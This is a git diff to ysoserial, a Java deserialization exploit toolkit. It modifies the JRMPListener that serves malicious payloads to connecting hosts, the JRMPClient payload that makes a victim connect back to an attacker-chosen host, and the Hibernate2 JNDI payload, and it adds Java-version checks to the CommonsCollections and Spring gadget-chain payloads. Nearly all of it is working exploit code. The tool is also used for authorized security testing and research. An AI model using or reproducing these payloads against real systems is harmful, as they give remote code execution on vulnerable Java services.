diff --git a/pom.xml b/pom.xml index 492357d..b216df0 100644 --- a/pom.xml +++ b/pom.xml @@ -49,6 +49,15 @@ + + org.apache.maven.plugins + maven-surefire-plugin + + + false + + + diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index e5c034c..a77bbbe 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -20,6 +20,7 @@ import java.net.URL; import java.rmi.MarshalException; import java.rmi.server.ObjID; import java.rmi.server.UID; +import java.util.Arrays; import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; @@ -245,18 +246,33 @@ public class JRMPListener implements Runnable { @Override protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { + if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ( "java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } throw new IOException("Not allowed to read object"); } }; + ObjID read; try { - ObjID.read(ois); + read = ObjID.read(ois); } catch ( java.io.IOException e ) { throw new MarshalException("unable to read objID", e); } - System.err.println("Sending return with payload"); + + if ( read.hashCode() == 2 ) { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); + } + + System.err.println("Sending return with payload for obj " + read); out.writeByte(TransportConstants.Return);// transport op ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); diff --git a/src/main/java/ysoserial/payloads/CommonsCollections1.java b/src/main/java/ysoserial/payloads/CommonsCollections1.java index b4e8b92..ce6d0e2 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections1.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections1.java @@ -11,7 +11,9 @@ import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -39,6 +41,7 @@ import ysoserial.payloads.util.Reflections; */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) +@PayloadTest ( precondition = "isApplicableJavaVersion") public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { public InvocationHandler getObject(final String command) throws Exception { @@ -75,4 +78,8 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload< public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections1.class, args); } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections3.java b/src/main/java/ysoserial/payloads/CommonsCollections3.java index 6216342..89aa390 100755 --- a/src/main/java/ysoserial/payloads/CommonsCollections3.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections3.java @@ -13,7 +13,9 @@ import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -25,6 +27,7 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; */ @SuppressWarnings({"rawtypes", "unchecked", "restriction"}) @Dependencies({"commons-collections:commons-collections:3.1"}) +@PayloadTest ( precondition = "isApplicableJavaVersion") public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { @@ -56,4 +59,8 @@ public class CommonsCollections3 extends PayloadRunner implements ObjectPayload< public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections3.class, args); } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } } diff --git a/src/main/java/ysoserial/payloads/Hibernate2.java b/src/main/java/ysoserial/payloads/Hibernate2.java index b8c1ae5..ad04c5e 100644 --- a/src/main/java/ysoserial/payloads/Hibernate2.java +++ b/src/main/java/ysoserial/payloads/Hibernate2.java @@ -49,7 +49,7 @@ public class Hibernate2 implements ObjectPayload, DynamicDependencies { public Object getObject ( String command ) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); - rs.setDataSourceName("rmi: " + command); + rs.setDataSourceName(command); return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); } diff --git a/src/main/java/ysoserial/payloads/JRMPClient.java b/src/main/java/ysoserial/payloads/JRMPClient.java index d39c950..383f1e5 100644 --- a/src/main/java/ysoserial/payloads/JRMPClient.java +++ b/src/main/java/ysoserial/payloads/JRMPClient.java @@ -64,7 +64,7 @@ public class JRMPClient extends PayloadRunner implements ObjectPayload host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } - ObjID id = new ObjID(0); // RMI registry + ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); @@ -76,6 +76,7 @@ public class JRMPClient extends PayloadRunner implements ObjectPayload public static void main ( final String[] args ) throws Exception { + Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } } diff --git a/src/main/java/ysoserial/payloads/Jdk7u21.java b/src/main/java/ysoserial/payloads/Jdk7u21.java index 811c2e0..2c3af71 100755 --- a/src/main/java/ysoserial/payloads/Jdk7u21.java +++ b/src/main/java/ysoserial/payloads/Jdk7u21.java @@ -9,6 +9,7 @@ import javax.xml.transform.Templates; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -81,18 +82,8 @@ public class Jdk7u21 implements ObjectPayload { } public static boolean isApplicableJavaVersion() { - String property = System.getProperties().getProperty("java.version"); - if ( property == null ) { - return false; - } - String parts[] = property.split("\\.|_|-");; - int major = Integer.parseInt(parts[1]); - int minor = Integer.parseInt(parts[2]); - int update = Integer.parseInt(parts[3]); - if ( major < 7 || (major == 7 && update <= 21) ) { - return true; - } - return false; + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); } public static void main(final String[] args) throws Exception { diff --git a/src/main/java/ysoserial/payloads/Spring1.java b/src/main/java/ysoserial/payloads/Spring1.java index 9e0663e..e077f82 100644 --- a/src/main/java/ysoserial/payloads/Spring1.java +++ b/src/main/java/ysoserial/payloads/Spring1.java @@ -11,7 +11,9 @@ import javax.xml.transform.Templates; import org.springframework.beans.factory.ObjectFactory; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -46,6 +48,7 @@ import ysoserial.payloads.util.Reflections; @SuppressWarnings({"rawtypes"}) @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) +@PayloadTest ( precondition = "isApplicableJavaVersion") public class Spring1 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { @@ -73,4 +76,7 @@ public class Spring1 extends PayloadRunner implements ObjectPayload { PayloadRunner.run(Spring1.class, args); } + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } } diff --git a/src/main/java/ysoserial/payloads/Spring2.java b/src/main/java/ysoserial/payloads/Spring2.java index c3bd77a..7defe53 100644 --- a/src/main/java/ysoserial/payloads/Spring2.java +++ b/src/main/java/ysoserial/payloads/Spring2.java @@ -12,7 +12,9 @@ import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.target.SingletonTargetSource; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -38,6 +40,7 @@ import ysoserial.payloads.util.Reflections; // test deps "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" } ) +@PayloadTest ( precondition = "isApplicableJavaVersion") public class Spring2 extends PayloadRunner implements ObjectPayload { public Object getObject ( final String command ) throws Exception { @@ -64,5 +67,9 @@ public class Spring2 extends PayloadRunner implements ObjectPayload { public static void main ( final String[] args ) throws Exception { PayloadRunner.run(Spring2.class, args); } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } } diff --git a/src/main/java/ysoserial/payloads/util/JavaVersion.java b/src/main/java/ysoserial/payloads/util/JavaVersion.java new file mode 100644 index 0000000..291247d --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/JavaVersion.java @@ -0,0 +1,36 @@ +package ysoserial.payloads.util; + + +/** + * @author mbechler + * + */ +public class JavaVersion { + + + public int major; + public int minor; + public int update; + + + + public static JavaVersion getLocalVersion() { + String property = System.getProperties().getProperty("java.version"); + if ( property == null ) { + return null; + } + JavaVersion v = new JavaVersion(); + String parts[] = property.split("\\.|_|-"); + v.major = Integer.parseInt(parts[1]); + v.minor = Integer.parseInt(parts[2]); + v.update = Integer.parseInt(parts[3]); + return v; + } + + + public static boolean isAnnInvHUniversalMethodImpl() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); + } +} + diff --git a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java index 580d5f0..577a7b3 100644 --- a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java +++ b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java @@ -51,7 +51,7 @@ public class JRMPReverseConnectTest implements CustomTest { public String getPayloadArgs () { - return "localhost:" + port; + return "rmi:localhost:" + port; } }